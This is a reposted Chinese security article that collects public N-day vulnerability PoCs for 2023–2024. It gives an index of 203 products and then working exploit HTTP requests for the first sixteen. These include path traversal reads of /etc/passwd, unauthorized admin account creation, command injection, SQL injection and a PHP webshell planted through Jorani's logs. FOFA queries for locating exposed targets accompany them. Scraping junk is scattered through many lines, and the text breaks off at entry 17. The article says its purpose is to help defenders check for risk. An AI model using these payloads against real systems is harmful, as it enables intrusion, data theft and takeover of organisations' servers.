互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
2 m5 k" u! V2 g& z& a, T: c以下文章来源于网络安全新视界 ，作者网络安全新视界

发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
, w% ]" V  E- ~( q: F2 Q, K: ]/ d
漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
( i. J, K! d. M, C. w; D0 B& |
合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

5 h2 O: h2 h; e" o+ _+ C3 G
0 X' E1 Q) @8 Q% x+ X声明

为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
7 m4 c) E. j" `/ Y! u! {: P
有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。

5 S7 {. s6 H# X$ d8 @
! N; c) M1 V. I/ B1 s
目录
/ `- M6 f! k1 z" B# D
01
8 A1 U. I( s1 b- U$ w- D
1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
4 g: F: _! ~0 W1 f7. 鸿运主动安全监控云平台任意文件下载
! [5 J% G$ S0 O# ]8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
2 U  L7 e! C) K' M7 E2 d" F10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
6 y5 P. ^( d; L8 H- e3 S# H12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
: u. Y6 T# i6 y14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
7 J7 a1 o3 d/ G16. 红帆HFOffice医微云SQL注入
5 T& x- L6 G" W: v4 W& [: H; A+ p( @17. 大华 DSS itcBulletin SQL 注入
$ n) G/ M; Q4 A3 T% J3 M18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
3 d* P. n* X* L/ m25. 用友NC registerServlet JNDI 远程代码执行
0 K& b5 Z0 }4 I: j/ W% {26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
1 y- w5 a/ b) r2 m4 {0 L" V30. 用友NC importPml SQL注入
, E7 S: L7 j/ N4 o" ?" L9 X31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
& m/ O+ O2 S' r+ @- K7 U35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
! \% y1 D2 w  H% w$ Q" `38. 用友U8 Cloud smartweb2.RPC.d XXE
# T/ v2 m3 V  q( i: S39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
6 w4 t3 }, t' r5 l41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
/ P! Y8 f# }, R) {' @* K# p; V3 u43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
* a% _& g+ U4 O/ X3 ~45. 用友GRP-U8 ufgovbank XXE
  P/ }8 d6 ^) t; I7 b46. 用友GRP-U8 sqcxIndex.jsp SQL注入
( h9 C% m+ n# P! m# N7 N47. 用友GRP A++Cloud 政府财务云 任意文件读取
) _: y/ x; T' ^% V48. 用友U8 CRM swfupload 任意文件上传
7 Z5 i1 b3 S' H% m1 y49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
4 ^0 v0 G: L2 e' D/ m# m52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
" M$ ~- ^2 j; F4 \8 a- P  m6 B59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
, f. ~' v6 T3 k5 k9 [3 g61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
/ F/ A7 @/ F- o62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
9 R4 o. h& T" X& v: V1 I7 V# [64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
: Y+ ]% Z0 \2 r( W66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
/ p4 G! M) H4 T7 R6 z0 C69. 万户 ezOFFICE contract_gd.jsp SQL注入
3 }/ Z6 a+ I) x7 h70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
+ s- T; h& n7 x! B8 B" W) U2 a: e72. 致远OA getAjaxDataServlet XXE
: t2 s+ F8 l$ J. K% [73. GeoServer wms远程代码执行
3 o% ?" L) j* S9 s# M. C74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
( @% Y3 X7 ]5 N79. BYTEVALUE 百为流控路由器远程命令执行
  J8 B) q4 M& `( V80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
# O3 G5 i" g) t82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
7 i' Y& q0 Z" A' N) N4 F* O, i' w2 |84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
2 l& d' `( \0 `. i) J88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
0 M3 N; |$ _) D' V8 O7 n2 Q89. 致远互联FE协作办公平台editflow_manager存在sql注入
3 H! |% C5 k' k5 I7 e. B' ~- G2 P9 {90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
" o, T: E. B; p91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
5 p5 R* i5 L  T93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
5 ^2 D& }, r/ X* E  u5 R4 t% I" C95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
6 A7 s5 I6 G6 K7 v. {6 {8 ^99. Ncast盈可视高清智能录播系统busiFacade RCE
6 B5 I4 J- I' _, f+ f$ f100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
5 R: k2 v5 V2 g103. Ivanti Pulse Connect Secure VPN XXE
* M* \/ R2 l; y  c* Q: j' }104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
: _" s' P! z4 S! s; d, W106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
% P% v% q4 E- b# @; e6 J+ ^$ M8 C3 V111. WordPress Plugin HTML5 Video Player SQL注入
9 y" j8 v- Q' n! k112. WordPress Plugin NotificationX SQL 注入
: h+ ~+ }* |' t1 H113. WordPress Automatic 插件任意文件下载和SSRF
7 c/ ~( L0 t! @9 \1 `) \114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
% b$ Z* m8 u( `( v& H' l116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
1 i& X1 c1 b$ L9 X0 @0 M118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
" Y0 Q6 O# y$ W( j124. 湖南建研工程质量检测系统任意文件上传
0 O% e9 b) f* I/ ]; d9 ^# z* b125. ConnectWise ScreenConnect身份验证绕过
" x2 D0 I" j' J, ^* k1 a126. Aiohttp 路径遍历
/ L# J3 N2 O# }/ n" B$ [) Z; _. h" \127. 广联达Linkworks DataExchange.ashx XXE
; U7 E( V9 ~9 t. ]& H$ I2 q" B128. Adobe ColdFusion 反序列化
5 I8 e  h2 x% V* h7 s! b/ \129. Adobe ColdFusion 任意文件读取
' ~0 v" B4 a0 E8 U130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
5 W. h7 f1 }" [: e134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
9 y+ U0 m( T& i136. NextChat cors SSRF
" }$ k3 m! A% V  [137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
7 \( m0 R: y- a3 M9 Y5 g2 h3 v2 e139. 福建科立讯通信指挥调度平台editemedia.php sql注入
: \+ \- S$ m, p! ]140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
0 S; q9 f* S6 g' ~8 `142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
% p2 p$ `% K' w145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
+ P" F0 e) u& K& a$ R6 K  D149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
8 w5 [- I+ Z! F152. Progress Kemp LoadMaster 远程命令执行
% L8 c/ l. i+ K, T& t0 J' x+ C153. gradio任意文件读取
; Z; H# F; z1 J" |2 m154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
; S2 r( o: a+ u! p; }: u157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
  u! n% I  K+ J159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
2 v% @. |) N  n( ~160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
; n+ |. O$ ?0 F. j: g. l. P162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
$ q  `- S$ i) ^  e164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
# M$ C  p4 T* r+ H# X) J4 W& o167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
  {8 _+ U  Y% h0 y" a$ e173. Check Point 安全网关任意文件读取
0 A( k' H# o* {% Y" O174. 金和OA C6 FileDownLoad.aspx 任意文件读取
2 G/ }' U8 T" i3 t175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
6 f! N9 v2 c- d' D177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
3 K# F" k5 d% H9 {179. 建文工程管理系统存在任意文件读取
. W7 s" f5 A0 I6 l9 x7 t0 ]8 ]! K% e180. 帮管客 CRM jiliyu SQL注入
* B' B4 C2 @3 [/ I9 j181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
2 s8 e# q9 ^' p5 g: S184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
9 R5 T3 [# I9 g6 w8 B1 O* V3 u186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
2 J8 N6 i! \$ `( l+ Y/ N2 s188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
/ L3 A; y7 l" |; s! s( G190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
# M2 ~" e/ }& x0 w8 D0 F192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
* s, D, B7 c6 ^, L194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
3 ?- k6 H8 E2 r/ E4 C; E* i8 H4 h197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
3 M8 |$ ]) N' T3 f6 D9 m! G; |) R" \199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
# o2 Z- k# I" u7 g' |+ e9 _; q) K201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传

6 p- o- M0 {- NPOC列表

: L  d4 ^) j% D$ V02

5 |% q( d* C( {1. StarRocks MPP数据库未授权访问
  U+ c4 W$ n6 X2 [- rFOFA ：title="StarRocks"
8 s  f! Y5 n6 `: y1 f, i$ V4 OGET /mem_tracker HTTP/1.1
Host: URL
; d6 E. T' j% x& R( e8 V6 x
# W8 P% `3 e4 f( M9 h
2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
+ p- {& z: R* S* N0 N6 S, S. |, SGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
5 c4 B2 D6 G5 F3 uHost: xx.xx.xx.xx:9999
# n7 ~1 G# P' i4 [2 s; q, DUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
, ^1 |. s0 q  G9 M( ?4 l& r

9 o/ k2 V/ J  Y) n) M& u3 J+ F3. EasyCVR智能边缘网关 userlist 信息泄漏
3 |2 O) d8 r4 D+ X- JFOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
% T. k. k6 w% |. H' y9 p- a5 zHost: xx.xx.xx.xx


4. EasyCVR视频管理平台存在任意用户添加
& i7 u" M7 }6 o8 R7 X( RFOFA ：title="EasyCVR"

password更改为自己的密码md5
: {' ?# f9 S1 N2 K( ePOST /api/v1/adduser HTTP/1.1
Host: your-ip
  e. u7 N+ Q! w. [# n& RContent-Type: application/x-www-form-urlencoded; charset=UTF-8

. ^: m. m% A4 a$ a% i) G. iname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1

, C) x$ a; s) T
8 W; N2 b, v" o4 M5. NUUO NVR 视频存储管理设备远程命令执行
% x% |+ O( E) e: H; D+ iFOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx


6. 深信服 NGAF 任意文件读取
6 D1 j; m$ l% W* VFOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
' F! I& ]8 q; e* R2 ?2 z6 A
% }$ q6 o- K7 r9 B
7. 鸿运主动安全监控云平台任意文件下载
) k& @' e5 W( Y: ]" Z. |FOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
& h$ B! J5 u' m) bHost:


8. 斐讯 Phicomm 路由器RCE
$ p& J" q* d- S: F* O2 C- dFOFA：icon_hash="-1344736688"
' v1 j( Q. B. j7 G* ]# L' q! P默认账号admin登录后台后，执行操作
6 z$ G1 @) I# e" I. e- q" L" _POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
4 p, E# h5 E( R) ?  D+ ~Host: x.x.x.x
/ b3 b3 z, q) b1 m! P, WCookie: sysauth=第一步登录获取的cookie
3 y6 x+ u& a! s. ^Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

------WebKitFormBoundaryxbgjoytz
1 n6 r# i2 p5 h( Q7 x6 w( T, C0 KContent-Disposition: form-data; name="wifiRebootEnablestatus"
: F. J2 v, ?# ]$ k+ M7 |
%s
9 z9 l- ]+ k6 M+ h: ~3 k" W  ]. r------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

12:00; id;
! W) @4 [, W/ f( F8 {( ^1 V------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
! X- n* u0 c  w
%s:
. z1 y9 r0 G- a, m" ?9 d/ \------WebKitFormBoundaryxbgjoytz
2 e: q* P0 N$ R' JContent-Disposition: form-data; name="cururl2"


------WebKitFormBoundaryxbgjoytz--

6 `- ?8 u) Q8 B- ?, I* K5 g
9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
- O( v5 r& ^" aHost: x.x.x.x


) d4 F0 P5 v4 c/ k* @; Apayload为下列语句的二次Url编码
+ f) ~7 G# C4 w& I! B8 C
: t/ A! x8 f# }' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
* I! s0 {/ r9 O( a! Q
' N" W) w" @' ?9 j7 X10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"

, m5 f) p; t. ]( `文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
( I5 j7 [. B7 ?5 jHost: x.x.x.x:xx
- G  v2 m8 S, o% KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
  |. A& Y2 w5 v, H. D  `+ x4 LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
; @4 S8 @$ \9 X" }9 O. kAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
( G" u* X0 d, p0 t! j* ^Content-Disposition: form-data; name="file"filename="icfitnya.txt"
. P& `6 M) A6 z5 k3 @* y! x, J2 m# oContent-Type: text/html

6 W  S, u( s1 k" ?- Yjmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
& ]% j; o9 S( z6 u  m. T
4 g  E: b& I+ ?( m
7 D/ X: Y# _( ?$ e7 p11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
) s% M* H% s8 h4 C) ?FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
6 V; {7 B& F& R. rHost: 127.0.0.1
Pragma: no-cache
9 A# Z# T4 m& p2 K5 F1 sCache-Control: no-cache
Upgrade-Insecure-Requests: 1
* J! p8 L2 T: I3 s7 D5 IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' p: p' m3 C" w( Y" p3 OAccept-Encoding: gzip, deflate
2 |+ o" Z: D2 I6 QAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
8 O, B7 }2 V3 \: SConnection: close
- q% I' B6 V3 I/ i( ?  T0 n# Z

. Y* C, q" F* f: `. U/ ~6 D12. Jorani < 1.0.2 远程命令执行
9 v2 c. [7 I/ o4 X7 CFOFA：title="Jorani"
第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Accept-Encoding: gzip

5 Q" z6 `+ m/ h0 Y( A& v8 x1 V
+ N; H7 }6 m& P; q) V  e9 Z响应中csrf_cookie_jorani用于后续请求
' s* ~. L, P9 E' D# iHTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
7 v5 P3 u: B# |. zDate: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
Server: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
& c0 D! [% v5 }- iSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding

1 W6 B$ c: |! N7 R1 j6 }
7 i: g% n$ I5 h" QPOST请求，执行函数并进行base64编码
$ I; u2 e6 T* nPOST /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 252
Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
) O& t% f6 z( C9 ~: C, L2 kAccept-Encoding: gzip
; J+ h/ N8 h- b- k. c. A
& z5 t, Q# W4 Y( Acsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

, A. `- [3 C7 }1 k1 P
" a+ _. t5 ^$ b% k' s& A4 B+ T
向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
9 i# O/ z. W& f- c& iHost: 192.168.190.30
* W& @8 ?! n2 @7 V0 S5 IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
) T2 k* [# ?% K8 p) }Connection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
) d/ d1 l' p1 N, V: _X-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip
! T& ?. Z+ t! {9 N, K1 H5 Q3 U$ X

. x+ X' I% W7 l, \# P- X% A/ b13. 红帆iOffice ioFileDown任意文件读取
. d* @& S$ i/ X" X$ G! t* d0 z% AFOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
9 ^3 S# J  k0 |$ I% y1 H- ?7 \1 zConnection: close
: m! {/ f+ f3 @* m! t5 S, y  H) mAccept: */*
Accept-Encoding: gzip


! B* h" V; P" c. D7 z4 |! O14. 华夏ERP（jshERP）敏感信息泄露
$ v; |* W6 v+ I$ l2 C& K3 O, qFOFA：body="jshERP-boot"
. E% a  \9 ^9 g泄露内容包括用户名密码
- X0 E0 N" z4 N2 p$ eGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
" p; @+ _7 B' g/ a. ]3 j. Y9 tConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

5 c% G0 }6 b+ n4 C7 R! J
/ X; ]. U' v% J4 ?/ b7 t& s! n/ u4 C15. 华夏ERP getAllList信息泄露
. @. b, U* t8 s# A. ^0 i) tCVE-2024-0490
FOFA：body="jshERP-boot"
" b. Y- j- ^$ ?$ E泄露内容包括用户名密码
' H* ?% L7 W: {/ B6 Q% w- AGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
+ Y4 V9 p3 ?+ C, H2 @; q+ `; GConnection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
" D+ O! Y6 |8 Y) b2 p$ M& ysec-ch-ua-platform: Windows
Accept-Encoding: gzip
) S1 E6 |) f& C( }; U. i/ v7 p

( I# U1 I0 o5 }- z16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
poc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
0 w0 \! A  x* |: g) E+ w6 V/ zHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
1 {% z+ n1 P8 a6 p0 g2 c# N9 b) kAccept-Language: en
1 g( _/ z( B; O: [. a0 t( w* ZAccept-Encoding: gzip
; V! P) I% p1 \
) v* R( j3 [2 B. R4 @
/ I& s7 X8 ?$ f0 q17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
